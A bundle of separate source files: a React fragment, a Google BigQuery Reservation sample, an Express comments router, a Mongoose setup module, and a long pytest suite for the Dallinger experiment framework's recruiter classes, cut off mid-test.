</TouchableOpacity>
);
}
}
|
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Generated code. DO NOT EDIT!
#
# Snippet for SplitCapacityCommitment
# NOTE: This snippet has been automatically generated for illustrative purposes only.
# It may require modifications to work in your environment.
# To install the latest published package dependency, execute the following:
# python3 -m pip install google-cloud-bigquery-reservation
# [START bigqueryreservation_v1_generated_ReservationService_SplitCapacityCommitment_sync]
from google.cloud import bigquery_reservation_v1
def sample_split_capacity_commitment():
# Create a client
client = bigquery_reservation_v1.ReservationServiceClient()
# Initialize request argument(s)
request = bigquery_reservation_v1.SplitCapacityCommitmentRequest(
name="name_value",
)
# Make the request
response = client.split_capacity_commitment(request=request)
# Handle the response
print(response)
# [END bigqueryreservation_v1_generated_ReservationService_SplitCapacityCommitment_sync]
|
import { Router } from 'express';
import * as CommentController from '../controllers/comment.controller';
const router = new Router();
// Add a new Post
router.route('/comments').post(CommentController.addComment);
router.route('/comments/:cuid').get(CommentController.getComments);
export default router;
|
import mongoose from 'mongoose'
import { mongo } from '~/config'
export paginate from './plugins/paginate'
export gravatar from './plugins/gravatar'
export filter from './plugins/filter'
export ownership from './plugins/ownership'
const processMode = process.env.NODE_ENV
Object.keys(mongo.options).forEach(key => {
mongoose.set(key, mongo.options[key])
})
/* istanbul ignore next */
mongoose.connection.on('error', err => {
console.error('MongoDB connection error: ' + err)
process.exit(-1)
})
mongoose.connection.on('open', () => {
console.info('\x1b[36m%s\x1b[0m', 'Mongoose:\x1b[0m Connected')
})
if (processMode !== 'test') {
mongoose.connect(mongo.uri)
}
export default mongoose
|
import json
import mock
import pytest
from datetime import datetime
from dallinger.models import Participant
from dallinger.experiment import Experiment
class TestModuleFunctions(object):
@pytest.fixture
def mod(self):
from dallinger import recruiters
return recruiters
def test__get_queue(self, mod):
from rq import Queue
assert isinstance(mod._get_queue(), Queue)
def test_for_experiment(self, mod):
mock_exp = mock.MagicMock(spec=Experiment)
mock_exp.recruiter = mock.sentinel.some_object
assert mod.for_experiment(mock_exp) is mock_exp.recruiter
def test_by_name_with_valid_name(self, mod):
assert isinstance(mod.by_name("CLIRecruiter"), mod.CLIRecruiter)
def test_by_name_with_valid_nickname(self, mod):
assert isinstance(mod.by_name("bots"), mod.BotRecruiter)
def test_by_name_with_invalid_name(self, mod):
assert mod.by_name("blah") is None
def test_for_debug_mode(self, mod, stub_config):
r = mod.from_config(stub_config)
assert isinstance(r, mod.HotAirRecruiter)
def test_recruiter_config_value_used_if_not_debug(self, mod, stub_config):
stub_config.extend({"mode": u"sandbox", "recruiter": u"CLIRecruiter"})
r = mod.from_config(stub_config)
assert isinstance(r, mod.CLIRecruiter)
def test_debug_mode_trumps_recruiter_config_value(self, mod, stub_config):
stub_config.extend({"recruiter": u"CLIRecruiter"})
r = mod.from_config(stub_config)
assert isinstance(r, mod.HotAirRecruiter)
def test_bot_recruiter_trumps_debug_mode(self, mod, stub_config):
stub_config.extend({"recruiter": u"bots"})
r = mod.from_config(stub_config)
assert isinstance(r, mod.BotRecruiter)
def test_default_is_mturk_recruiter_if_not_debug(self, mod, active_config):
active_config.extend({"mode": u"sandbox"})
r = mod.from_config(active_config)
assert isinstance(r, mod.MTurkRecruiter)
def test_replay_setting_dictates_recruiter(self, mod, active_config):
active_config.extend(
{"replay": True, "mode": u"sandbox", "recruiter": u"CLIRecruiter"}
)
r = mod.from_config(active_config)
assert isinstance(r, mod.HotAirRecruiter)
def test_unknown_recruiter_name_raises(self, mod, stub_config):
stub_config.extend({"mode": u"sandbox", "recruiter": u"bogus"})
with pytest.raises(NotImplementedError):
mod.from_config(stub_config)
class TestRecruiter(object):
@pytest.fixture
def recruiter(self):
from dallinger.recruiters import Recruiter
return Recruiter()
def test_open_recruitment(self, recruiter):
with pytest.raises(NotImplementedError):
recruiter.open_recruitment()
def test_recruit(self, recruiter):
with pytest.raises(NotImplementedError):
recruiter.recruit()
def test_close_recruitment(self, recruiter):
with pytest.raises(NotImplementedError):
recruiter.close_recruitment()
def test_reward_bonus(self, recruiter):
with pytest.raises(NotImplementedError):
recruiter.reward_bonus("any assignment id", 0.01, "You're great!")
def test_external_submission_url(self, recruiter):
assert recruiter.external_submission_url is None
def test_rejects_questionnaire_from_returns_none(self, recruiter):
dummy = mock.NonCallableMock()
assert recruiter.rejects_questionnaire_from(participant=dummy) is None
def test_notify_duration_exceeded_logs_only(self, recruiter):
recruiter.notify_duration_exceeded(participants=[], reference_time=None)
def test_backward_compat(self, recruiter):
assert recruiter() is recruiter
@pytest.mark.usefixtures("active_config")
class TestCLIRecruiter(object):
@pytest.fixture
def recruiter(self):
from dallinger.recruiters import CLIRecruiter
yield CLIRecruiter()
def test_recruit_recruits_one_by_default(self, recruiter):
result = recruiter.recruit()
assert len(result) == 1
def test_recruit_results_are_urls(self, recruiter):
assert "/ad?recruiter=cli&assignmentId=" in recruiter.recruit()[0]
def test_recruit_multiple(self, recruiter):
assert len(recruiter.recruit(n=3)) == 3
def test_open_recruitment_recruits_one_by_default(self, recruiter):
result = recruiter.open_recruitment()
assert len(result["items"]) == 1
def test_open_recruitment_describes_how_it_works(self, recruiter):
result = recruiter.open_recruitment()
assert 'Search for "New participant requested:"' in result["message"]
def test_open_recruitment_multiple(self, recruiter):
result = recruiter.open_recruitment(n=3)
assert len(result["items"]) == 3
def test_open_recruitment_results_are_urls(self, recruiter):
result = recruiter.open_recruitment()
assert "/ad?recruiter=cli&assignmentId=" in result["items"][0]
def test_open_recruitment_with_zero(self, recruiter):
result = recruiter.open_recruitment(n=0)
assert result["items"] == []
def test_close_recruitment(self, recruiter):
recruiter.close_recruitment()
def test_approve_hit(self, recruiter):
assert recruiter.approve_hit("any assignment id")
def test_reward_bonus(self, recruiter):
recruiter.reward_bonus("any assignment id", 0.01, "You're great!")
def test_open_recruitment_uses_configured_mode(self, recruiter, active_config):
active_config.extend({"mode": u"new_mode"})
result = recruiter.open_recruitment()
assert "mode=new_mode" in result["items"][0]
def test_returns_standard_submission_event_type(self, recruiter):
assert recruiter.submitted_event() == "AssignmentSubmitted"
@pytest.mark.usefixtures("active_config")
class TestHotAirRecruiter(object):
@pytest.fixture
def recruiter(self):
from dallinger.recruiters import HotAirRecruiter
yield HotAirRecruiter()
def test_recruit_recruits_one_by_default(self, recruiter):
result = recruiter.recruit()
assert len(result) == 1
def test_recruit_results_are_urls(self, recruiter):
assert "/ad?recruiter=hotair&assignmentId=" in recruiter.recruit()[0]
def test_recruit_multiple(self, recruiter):
assert len(recruiter.recruit(n=3)) == 3
def test_open_recruitment_recruits_one_by_default(self, recruiter):
result = recruiter.open_recruitment()
assert len(result["items"]) == 1
def test_open_recruitment_describes_how_it_works(self, recruiter):
result = recruiter.open_recruitment()
assert "requests will open browser windows" in result["message"]
def test_open_recruitment_multiple(self, recruiter):
result = recruiter.open_recruitment(n=3)
assert len(result["items"]) == 3
def test_open_recruitment_results_are_urls(self, recruiter):
result = recruiter.open_recruitment()
assert "/ad?recruiter=hotair&assignmentId=" in result["items"][0]
def test_close_recruitment(self, recruiter):
recruiter.close_recruitment()
def test_approve_hit(self, recruiter):
assert recruiter.approve_hit("any assignment id")
def test_reward_bonus(self, recruiter):
recruiter.reward_bonus("any assignment id", 0.01, "You're great!")
def test_open_recruitment_ignores_configured_mode(self, recruiter, active_config):
active_config.extend({"mode": u"new_mode"})
result = recruiter.open_recruitment()
assert "mode=debug" in result["items"][0]
def test_returns_standard_submission_event_type(self, recruiter):
assert recruiter.submitted_event() == "AssignmentSubmitted"
class TestSimulatedRecruiter(object):
@pytest.fixture
def recruiter(self):
from dallinger.recruiters import SimulatedRecruiter
return SimulatedRecruiter()
def test_recruit_returns_empty_result(self, recruiter):
assert recruiter.recruit() == []
def test_recruit_multiple_returns_empty_result(self, recruiter):
assert recruiter.recruit(n=3) == []
def test_open_recruitment_returns_empty_result(self, recruiter):
assert recruiter.open_recruitment()["items"] == []
def test_open_recruitment_multiple_returns_empty_result(self, recruiter):
assert recruiter.open_recruitment(n=3)["items"] == []
def test_returns_standard_submission_event_type(self, recruiter):
assert recruiter.submitted_event() == "AssignmentSubmitted"
def test_close_recruitment(self, recruiter):
assert recruiter.close_recruitment() is None
class TestBotRecruiter(object):
@pytest.fixture
def recruiter(self):
from dallinger.recruiters import BotRecruiter
with mock.patch.multiple(
"dallinger.recruiters", _get_queue=mock.DEFAULT, get_base_url=mock.DEFAULT
) as mocks:
mocks["get_base_url"].return_value = "fake_base_url"
r = BotRecruiter()
r._get_bot_factory = mock.Mock()
yield r
def test_recruit_returns_list(self, recruiter):
result = recruiter.recruit(n=2)
assert len(result) == 2
def test_recruit_returns_urls(self, recruiter):
result = recruiter.recruit()
assert result[0].startswith("fake_base_url")
def test_open_recruitment_returns_list(self, recruiter):
result = recruiter.open_recruitment(n=2)
assert len(result["items"]) == 2
def test_open_recruitment_returns_urls(self, recruiter):
result = recruiter.open_recruitment()
assert result["items"][0].startswith("fake_base_url")
def test_open_recruitment_describes_how_it_works(self, recruiter):
result = recruiter.open_recruitment()
assert "recruitment started using Mock" in result["message"]
def test_close_recruitment(self, recruiter):
recruiter.close_recruitment()
def test_approve_hit(self, recruiter):
assert recruiter.approve_hit("any assignment id")
def test_reward_bonus(self, recruiter):
recruiter.reward_bonus("any assignment id", 0.01, "You're great!")
def test_returns_specific_submission_event_type(self, recruiter):
assert recruiter.submitted_event() == "BotAssignmentSubmitted"
def test_notify_duration_exceeded_rejects_participants(self, a, recruiter):
bot = a.participant(recruiter_id="bots")
recruiter.notify_duration_exceeded([bot], datetime.now())
assert bot.status == "rejected"
class TestMTurkRecruiterMessages(object):
@pytest.fixture
def summary(self, a, stub_config):
from datetime import timedelta
from dallinger.recruiters import ParticipationTime
p = a.participant()
one_min_over = 60 * stub_config.get("duration") + 1
return ParticipationTime(
participant=p,
reference_time=p.creation_time + timedelta(minutes=one_min_over),
config=stub_config,
)
@pytest.fixture
def whimsical(self, summary, stub_config):
from dallinger.recruiters import WhimsicalMTurkHITMessages
return WhimsicalMTurkHITMessages(summary)
@pytest.fixture
def nonwhimsical(self, summary, stub_config):
from dallinger.recruiters import MTurkHITMessages
return MTurkHITMessages(summary)
def test_resubmitted_msg_whimsical(self, whimsical):
data = whimsical.resubmitted_msg()
body = data["body"].replace("\n", " ")
assert data["subject"] == "A matter of minor concern."
assert "a full 1 minutes over" in body
def test_resubmitted_msg_nonwhimsical(self, nonwhimsical):
data = nonwhimsical.resubmitted_msg()
body = data["body"].replace("\n", " ")
assert data["subject"] == "Dallinger automated email - minor error."
assert "Dallinger has auto-corrected the problem" in body
def test_hit_cancelled_msg_whimsical(self, whimsical):
data = whimsical.hit_cancelled_msg()
body = data["body"].replace("\n", " ")
assert data["subject"] == "Most troubling news."
assert "a full 1 minutes over" in body
def test_hit_cancelled_msg_nonwhimsical(self, nonwhimsical):
data = nonwhimsical.hit_cancelled_msg()
body = data["body"].replace("\n", " ")
assert data["subject"] == "Dallinger automated email - major error."
assert "Dallinger has paused the experiment" in body
SNS_ROUTE_PATH = "/mturk-sns-listener"
class TestSNSListenerRoute(object):
@pytest.fixture
def recruiter(self, active_config):
active_config.extend({"mode": u"sandbox"}) # MTurkRecruiter invalid if debug
with mock.patch("dallinger.recruiters.MTurkRecruiter") as klass:
instance = klass.return_value
yield instance
def test_answers_subscription_confirmation_request(self, webapp, recruiter):
post_data = {
"Type": "SubscriptionConfirmation",
"MessageId": "165545c9-2a5c-472c-8df2-7ff2be2b3b1b",
"Token": "some-long-token",
"TopicArn": "arn:aws:sns:us-west-2:123456789012:MyTopic",
"Message": "You have chosen to subscribe to the topic arn:aws:sns:us-west-2:123456789012:MyTopic.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
"SubscribeURL": "https://some-confirmation-url-at-amazon",
"Timestamp": "2012-04-26T20:45:04.751Z",
"SignatureVersion": "1",
"Signature": "very-long-base64-encoded-string-i-think",
"SigningCertURL": "https://sns.us-west-2.amazonaws.com/SimpleNotificationService-f3ecfb7224c7233fe7bb5f59f96de52f.pem",
}
resp = webapp.post(SNS_ROUTE_PATH, data=json.dumps(post_data))
assert resp.status_code == 200
recruiter._confirm_sns_subscription.assert_called_once_with(
token="some-long-token", topic="arn:aws:sns:us-west-2:123456789012:MyTopic"
)
def test_routes_worker_event_notifications(self, webapp, recruiter):
post_data = {
"Type": "Notification",
"MessageId": "6af5c15c-64a3-54d1-94fb-949b81bf2019",
"TopicArn": "arn:aws:sns:us-east-1:047991105548:some-experiment-id",
"Subject": "1565385436809",
"Message": '{"Events":[{"EventType":"AssignmentSubmitted","EventTimestamp":"2019-08-09T21:17:16Z","HITId":"12345678901234567890","AssignmentId":"1234567890123456789012345678901234567890","HITTypeId":"09876543210987654321"},{"EventType":"AssignmentSubmitted","EventTimestamp":"2019-08-09T21:17:16Z","HITId":"12345678901234567890","AssignmentId":"1234567890123456789012345678900987654321","HITTypeId":"09876543210987654321"}],"EventDocId":"9928a491605538bb160590bb57b0596a9fbbcbba","SourceAccount":"047991105548","CustomerId":"AUYKYIHQXG6XR","EventDocVersion":"2014-08-15"}',
"Timestamp": "2019-08-09T21:17:16.848Z",
"SignatureVersion": "1",
"Signature": "very-long-base64-encoded-string-i-think",
"SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-6aad65c2f9911b05cd53efda11f913f9.pem",
"UnsubscribeURL": "https://sns.us-east-1.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-1:047991105548:some-experiment-id:fd8f816c-7e93-4815-922b-ad1d1f8cb98b",
}
resp = webapp.post(SNS_ROUTE_PATH, data=json.dumps(post_data))
assert resp.status_code == 200
recruiter._report_event_notification.assert_called_once_with(
[
{
"EventType": "AssignmentSubmitted",
"EventTimestamp": "2019-08-09T21:17:16Z",
"HITId": "12345678901234567890",
"AssignmentId": "1234567890123456789012345678901234567890",
"HITTypeId": "09876543210987654321",
},
{
"EventType": "AssignmentSubmitted",
"EventTimestamp": "2019-08-09T21:17:16Z",
"HITId": "12345678901234567890",
"AssignmentId": "1234567890123456789012345678900987654321",
"HITTypeId": "09876543210987654321",
},
]
)
@pytest.fixture
def queue():
from rq import Queue
instance = mock.Mock(spec=Queue)
with mock.patch("dallinger.recruiters._get_queue") as mock_q:
mock_q.return_value = instance
yield instance
@pytest.fixture
def requests():
with mock.patch("dallinger.recruiters.requests", autospec=True) as mock_requests:
yield mock_requests
@pytest.mark.usefixtures("active_config", "requests", "queue")
class TestMTurkRecruiter(object):
@pytest.fixture
def messenger(self):
from dallinger.notifications import DebugMessenger
mock_messenger = mock.create_autospec(DebugMessenger)
yield mock_messenger
@pytest.fixture
def recruiter(self, active_config, messenger):
from dallinger.mturk import MTurkService
from dallinger.recruiters import MTurkRecruiter
with mock.patch.multiple(
"dallinger.recruiters", os=mock.DEFAULT, get_base_url=mock.DEFAULT
) as mocks:
mocks["get_base_url"].return_value = "http://fake-domain"
mocks["os"].getenv.return_value = "fake-host-domain"
mockservice = mock.create_autospec(MTurkService)
active_config.extend({"mode": u"sandbox"})
r = MTurkRecruiter()
r.messenger = messenger
r.mturkservice = mockservice("fake key", "fake secret", "fake_region")
r.mturkservice.check_credentials.return_value = True
r.mturkservice.create_hit.return_value = {"type_id": "fake type id"}
return r
def test_instantiation_fails_with_invalid_mode(self, active_config):
from dallinger.recruiters import MTurkRecruiter
from dallinger.recruiters import MTurkRecruiterException
active_config.extend({"mode": u"nonsense"})
with pytest.raises(MTurkRecruiterException) as ex_info:
MTurkRecruiter()
assert ex_info.match('"nonsense" is not a valid mode')
def test_config_passed_to_constructor_sandbox(self, recruiter):
assert recruiter.config.get("title") == "fake experiment title"
def test_external_submission_url_sandbox(self, recruiter):
assert "workersandbox.mturk.com" in recruiter.external_submission_url
def test_external_submission_url_live(self, recruiter):
recruiter.config.set("mode", u"live")
assert "www.mturk.com" in recruiter.external_submission_url
def test_open_recruitment_returns_one_item_recruitments_list(self, recruiter):
result = recruiter.open_recruitment(n=2)
assert len(result["items"]) == 1
def test_open_recruitment_describes_how_it_works(self, recruiter):
result = recruiter.open_recruitment()
assert "HIT now published to Amazon Mechanical Turk" in result["message"]
def test_open_recruitment_returns_urls(self, recruiter):
url = recruiter.open_recruitment(n=1)["items"][0]
assert (
url == "https://workersandbox.mturk.com/mturk/preview?groupId=fake type id"
)
def test_open_recruitment_raises_if_no_external_hit_domain_configured(
self, recruiter
):
from dallinger.recruiters import MTurkRecruiterException
recruiter.hit_domain = None
with pytest.raises(MTurkRecruiterException):
recruiter.open_recruitment(n=1)
def test_open_recruitment_check_creds_before_calling_create_hit(self, recruiter):
recruiter.open_recruitment(n=1)
recruiter.mturkservice.check_credentials.assert_called_once()
def test_open_recruitment_single_recruitee_builds_hit(self, recruiter):
recruiter.open_recruitment(n=1)
recruiter.mturkservice.create_hit.assert_called_once_with(
ad_url="http://fake-domain/ad?recruiter=mturk",
approve_requirement=95,
description=u"fake HIT description",
duration_hours=1.0,
experiment_id="some experiment uid",
keywords=[u"kw1", u"kw2", u"kw3"],
lifetime_days=1,
max_assignments=1,
notification_url=u"http://fake-domain{}".format(SNS_ROUTE_PATH),
reward=0.01,
title=u"fake experiment title",
us_only=True,
blacklist=[],
annotation="some experiment uid",
)
def test_open_recruitment_creates_qualifications_for_experiment_app_id(
self, recruiter
):
recruiter.open_recruitment(n=1)
recruiter.mturkservice.create_qualification_type.assert_called_once_with(
u"some experiment uid", "Experiment-specific qualification"
)
def test_open_recruitment_creates_qualifications_for_exp_with_group_name(
self, recruiter
):
recruiter.config.set("group_name", u"some group name")
recruiter.open_recruitment(n=1)
recruiter.mturkservice.create_qualification_type.assert_has_calls(
[
mock.call(u"some experiment uid", "Experiment-specific qualification"),
mock.call(u"some group name", "Experiment group qualification"),
],
any_order=True,
)
def test_open_recruitment_creates_no_qualifications_if_so_configured(
self, recruiter
):
recruiter.config.set("group_name", u"some group name")
recruiter.config.set("assign_qualifications", False)
recruiter.open_recruitment(n=1)
recruiter.mturkservice.create_qualification_type.assert_not_called()
def test_open_recruitment_when_qualification_already_exists(self, recruiter):
from dallinger.mturk import DuplicateQualificationNameError
mturk = recruiter.mturkservice
mturk.create_qualification_type.side_effect = DuplicateQualificationNameError
recruiter.open_recruitment(n=1)
recruiter.mturkservice.create_hit.assert_called_once()
def test_open_recruitment_with_blacklist(self, recruiter):
recruiter.config.set("qualification_blacklist", u"foo, bar")
recruiter.open_recruitment(n=1)
recruiter.mturkservice.create_hit.assert_called_once_with(
ad_url="http://fake-domain/ad?recruiter=mturk",
approve_requirement=95,
description="fake HIT description",
duration_hours=1.0,
experiment_id="some experiment uid",
lifetime_days=1,
keywords=[u"kw1", u"kw2", u"kw3"],
max_assignments=1,
notification_url="http://fake-domain{}".format(SNS_ROUTE_PATH),
reward=0.01,
title="fake experiment title",
us_only=True,
blacklist=["foo", "bar"],
annotation="some experiment uid",
)
def test_open_recruitment_raises_error_if_recruitment_in_progress(
self, a, recruiter
):
from dallinger.recruiters import MTurkRecruiterException
a.participant(recruiter_id="mturk")
with pytest.raises(MTurkRecruiterException):
recruiter.open_recruitment()
recruiter.mturkservice.check_credentials.assert_not_called()
def test_open_recruitment_ignores_participants_from_other_recruiters(
self, a, recruiter
):
a.participant(recruiter_id="bot")
result = recruiter.open_recruitment(n=1)
assert len(result["items"]) == 1
recruiter.mturkservice.check_credentials.assert_called_once()
def test_supresses_assignment_submitted(self, recruiter):
assert recruiter.submitted_event() is None
def test_current_hit_id_with_active_experiment(self, a, recruiter):
# Does not find hits associated with other recruiters
a.participant(hit_id=u"the hit!", recruiter_id="hotair")
assert recruiter.current_hit_id() is None
# Finds its own hits
a.participant(hit_id=u"the hit!", recruiter_id="mturk")
assert recruiter.current_hit_id() == "the hit!"
def test_current_hit_id_with_no_active_experiment(self, recruiter):
assert recruiter.current_hit_id() is None
def test_recruit_auto_recruit_on_recruits_for_current_hit(self, recruiter):
fake_hit_id = "fake HIT id"
recruiter.current_hit_id = mock.Mock(return_value=fake_hit_id)
recruiter.recruit()
recruiter.mturkservice.extend_hit.assert_called_once_with(
fake_hit_id, number=1, duration_hours=1.0
)
def test_recruit_auto_recruit_off_does_not_extend_hit(self, recruiter):
recruiter.config["auto_recruit"] = False
fake_hit_id = "fake HIT id"
recruiter.current_hit_id = mock.Mock(return_value=fake_hit_id)
recruiter.recruit()
assert not recruiter.mturkservice.extend_hit.called
def test_recruit_no_current_hit_does_not_extend_hit(self, recruiter):
recruiter.current_hit_id = mock.Mock(return_value=None)
recruiter.recruit()
assert not recruiter.mturkservice.extend_hit.called
def test_recruit_extend_hit_error_is_logged_politely(self, recruiter):
from dallinger.mturk import MTurkServiceException
fake_hit_id = "fake HIT id"
recruiter.current_hit_id = mock.Mock(return_value=fake_hit_id)
recruiter.mturkservice.extend_hit.side_effect = MTurkServiceException("Boom!")
with mock.patch("dallinger.recruiters.logger") as mock_logger:
recruiter.recruit()
mock_logger.exception.assert_called_once_with("Boom!")
def test_reward_bonus_is_simple_passthrough(self, recruiter):
recruiter.reward_bonus(
assignment_id="fake assignment id", amount=2.99, reason="well done!"
)
recruiter.mturkservice.grant_bonus.assert_called_once_with(
assignment_id="fake assignment id", amount=2.99, reason="well done!"
)
def test_reward_bonus_logs_exception(self, recruiter):
from dallinger.mturk import MTurkServiceException
recruiter.mturkservice.grant_bonus.side_effect = MTurkServiceException("Boom!")
with mock.patch("dallinger.recruiters.logger") as mock_logger:
recruiter.reward_bonus("fake-assignment", 2.99, "fake reason")
mock_logger.exception.assert_called_once_with("Boom!")
def test_approve_hit(self, recruiter):
fake_id = "fake assignment id"
recruiter.approve_hit(fake_id)
recruiter.mturkservice.approve_assignment.assert_called_once_with(fake_id)
def test_approve_hit_logs_exception(self, recruiter):
from dallinger.mturk import MTurkServiceException
recruiter.mturkservice.approve_assignment.side_effect = MTurkServiceException(
"Boom!"
)
with mock.patch("dallinger.recruiters.logger") as mock_logger:
recruiter.approve_hit("fake-hit-id")
mock_logger.exception.assert_called_once_with("Boom!")
@pytest.mark.xfail
def test_close_recruitment(self, recruiter):
fake_hit_id = "fake HIT id"
recruiter.current_hit_id = mock.Mock(return_value=fake_hit_id)
recruiter.close_recruitment()
recruiter.mturkservice.expire_hit.assert_called_once_with(fake_hit_id)
def test_notify_completed_assigns_exp_qualification(self, recruiter):
participant = mock.Mock(spec=Participant, worker_id="some worker id")
recruiter.notify_completed(participant)
recruiter.mturkservice.increment_qualification_score.assert_called_once_with(
"some experiment uid", "some worker id"
)
def test_notify_completed_adds_group_qualification_if_group(self, recruiter):
participant = mock.Mock(spec=Participant, worker_id="some worker id")
recruiter.config.set("group_name", u"some existing group_name")
recruiter.notify_completed(participant)
recruiter.mturkservice.increment_qualification_score.assert_has_calls(
[
mock.call("some experiment uid", "some worker id"),
mock.call("some existing group_name", "some worker id"),
],
any_order=True,
)
def test_notify_completed_catches_nonexistent_qualification(self, recruiter):
from dallinger.mturk import QualificationNotFoundException
participant = mock.Mock(spec=Participant, worker_id="some worker id")
error = QualificationNotFoundException("Ouch!")
recruiter.mturkservice.increment_qualification_score.side_effect = error
# logs, but does not raise:
recruiter.notify_completed(participant)
def test_notify_completed_skips_assigning_qualification_if_so_configured(
self, recruiter
):
participant = mock.Mock(spec=Participant, worker_id="some worker id")
recruiter.config.set("group_name", u"some existing group_name")
recruiter.config.set("assign_qualifications", False)
recruiter.notify_completed(participant)
recruiter.mturkservice.increment_qualification_score.assert_not_called()
def test_notify_completed_skips_assigning_qualification_if_overrecruited(
self, recruiter
):
participant = mock.Mock(
spec=Participant, worker_id="some worker id", status="overrecruited"
)
recruiter.notify_completed(participant)
recruiter.mturkservice.increment_qualification_score.assert_not_called()
def test_rejects_questionnaire_from_returns_none_if_working(self, recruiter):
participant = mock.Mock(spec=Participant, status="working")
assert recruiter.rejects_questionnaire_from(participant) is None
def test_rejects_questionnaire_from_returns_error_if_already_submitted(
self, recruiter
):
participant = mock.Mock(spec=Participant, status="submitted")
rejection = recruiter.rejects_questionnaire_from(participant)
assert "already sumbitted their HIT" in rejection
#
# Begin notify_duration_exceeded tests
#
def test_sets_participant_status_if_approved(self, a, recruiter):
recruiter.mturkservice.get_assignment.return_value = {"status": "Approved"}
participants = [a.participant()]
recruiter.notify_duration_exceeded(participants, datetime.now())
assert participants[0].status == "approved"
def test_sets_participant_status_if_rejected(self, a, recruiter):
recruiter.mturkservice.get_assignment.return_value = {"status": "Rejected"}
participants = [a.participant()]
recruiter.notify_duration_exceeded(participants, datetime.now())
assert participants[0].status == "rejected"
def test_sends_replacement_mturk_notification_if_resubmitted(
self, a, recruiter, queue
):
recruiter.mturkservice.get_assignment.return_value = {"status": "Submitted"}
participants = [a.participant()]
from dallinger.recruiters import worker_function
recruiter.notify_duration_exceeded(participants, datetime.now())
queue.enqueue.assert_called_once_with(
worker_function, "AssignmentSubmitted", participants[0].assignment_id, None
)
recruiter.messenger.send.assert_called_once()
def test_notifies_researcher_if_resubmitted(self, a, recruiter):
recruiter.mturkservice.get_assignment.return_value = {"status": "Submitted"}
participants = [a.participant()]
recruiter.notify_duration_exceeded(participants, datetime.now())
recruiter.messenger.send.assert_called_once()
def test_shuts_down_recruitment_if_no_status_from_mturk(
self, a, recruiter, requests
):
recruiter.mturkservice.get_assignment.return_value = {"status": None}
participants = [a.participant()]
recruiter.notify_duration_exceeded(participants, datetime.now())
assert requests.patch.call_args[1]["data"] == '{"auto_recruit": "false"}'
def test_treats_mturk_exception_as_status_none(self, a, recruiter):
recruiter.mturkservice.get_assignment.side_effect = Exception("Boom!")
assert recruiter._mturk_status_for(mock.Mock()) is None
def test_sends_notification_missing_if_no_status_from_mturk(
self, a, recruiter, queue
):
recruiter.mturkservice.get_assignment.return_value = {"status": None}
participants = [a.participant()]
from dallinger.recruiters import worker_function
recruiter.notify_duration_exceeded(participants, datetime.now())
queue.enqueue.assert_called_once_with(
worker_function, "NotificationMissing", participants[0].assignment_id, None
)
def test_notifies_researcher_when_hit_cancelled(self, a, recruiter):
recruiter.mturkservice.get_assignment.return_value = {"status": None}
participants = [a.participant()]
recruiter.notify_duration_exceeded(participants, datetime.now())
recruiter.messenger.send.assert_called_once()
def test_no_assignment_on_mturk_expires_hit(self, a, recruiter):
recruiter.mturkservice.get_assignment.return_value = {"status": None}
participants = [a.participant()]
recruiter.notify_duration_exceeded(participants, datetime.now())
recruiter.mturkservice.expire_hit.assert_called_once_with(
participants[0].hit_id
)
class TestRedisTally(object):
@pytest.fixture
def redis_tally(self):
from dallinger.recruiters import RedisTally
return RedisTally()
def test_that_its_a_counter(self, redis_tally):
assert redis_tally.current == 0
redis_tally.increment(3)
assert redis_tally.current == 3
@pytest.mark.usefixtures("active_config")
class TestMTurkLargeRecruiter(object):
@pytest.fixture
def counter(self):
# We don't want to depend on redis in these tests.
class PrimitiveCounter(object):
_count = 0
def increment(self, count):
self._count += count
@property
def current(self):
return self._count
return PrimitiveCounter()
@pytest.fixture
def recruiter(self, active_config, counter):
from dallinger.mturk import MTurkService
from dallinger.recruiters import MTurkLargeRecruiter
with mock.patch.multiple(
"dallinger.recruiters", os=mock.DEFAULT, get_base_url=mock.DEFAULT
) as mocks:
mocks["get_base_url"].return_value = "http://fake-domain"
mocks["os"].getenv.return_value = "fake-host-domain"
mockservice = mock.create_autospec(MTurkService)
active_config.extend({"mode": u"sandbox"})
r = MTurkLargeRecruiter(counter=counter)
r.mturkservice = mockservice("fake key", "fake secret", "fake_region")
r.mturkservice.check_credentials.return_value = True
r.mturkservice.create_hit.return_value = {"type_id": "fake type id"}
r.current_hit_id = mock.Mock(return_value="fake HIT id")
return r
def test_open_recruitment_raises_error_if_experiment_in_progress(
self, a, recruiter
):
from dallinger.recruiters import MTurkRecruiterException
a.participant(recruiter_id="mturklarge")
with pytest.raises(MTurkRecruiterException):
recruiter.open_recruitment()
recruiter.mturkservice.check_credentials.assert_not_called()
def test_open_recruitment_ignores_participants_from_other_recruiters(
self, a, recruiter
):
a.participant(recruiter_id="bot")
result = recruiter.open_recruitment(n=1)
assert len(result["items"]) == 1
recruiter.mturkservice.check_credentials.assert_called_once()
def test_open_recruitment_single_recruitee_actually_overrecruits(self, recruiter):
recruiter.open_recruitment(n=1)
recruiter.mturkservice.create_hit.assert_called_once_with(
ad_url="http://fake-domain/ad?recruiter=mturklarge",
approve_requirement=95,
description="fake HIT description",
duration_hours=1.0,
experiment_id="some experiment uid",
keywords=["kw1", "kw2", "kw3"],
lifetime_days=1,
max_assignments=10,
notification_url="http://fake-domain{}".format(SNS_ROUTE_PATH),
reward=0.01,
title="fake experiment title",
us_only=True,
blacklist=[],
annotation="some experiment uid",
)
def test_open_recruitment_with_more_than_pool_size_uses_requested_count(
self, recruiter
):
num_recruits = recruiter.pool_size + 1
recruiter.open_recruitment(n=num_recruits)
recruiter.mturkservice.create_hit.assert_called_once_with(
ad_url="http://fake-domain/ad?recruiter=mturklarge",
approve_requirement=95,
description="fake HIT description",
duration_hours=1.0,
experiment_id="some experiment uid",
keywords=["kw1", "kw2", "kw3"],
lifetime_days=1,
max_assignments=num_recruits,
notification_url="http://fake-domain{}".format(SNS_ROUTE_PATH),
reward=0.01,
title="fake experiment title",
us_only=True,
blacklist=[],
annotation="some experiment uid",
)
def test_recruit_draws_on_initial_pool_before_extending_hit(self, recruiter):
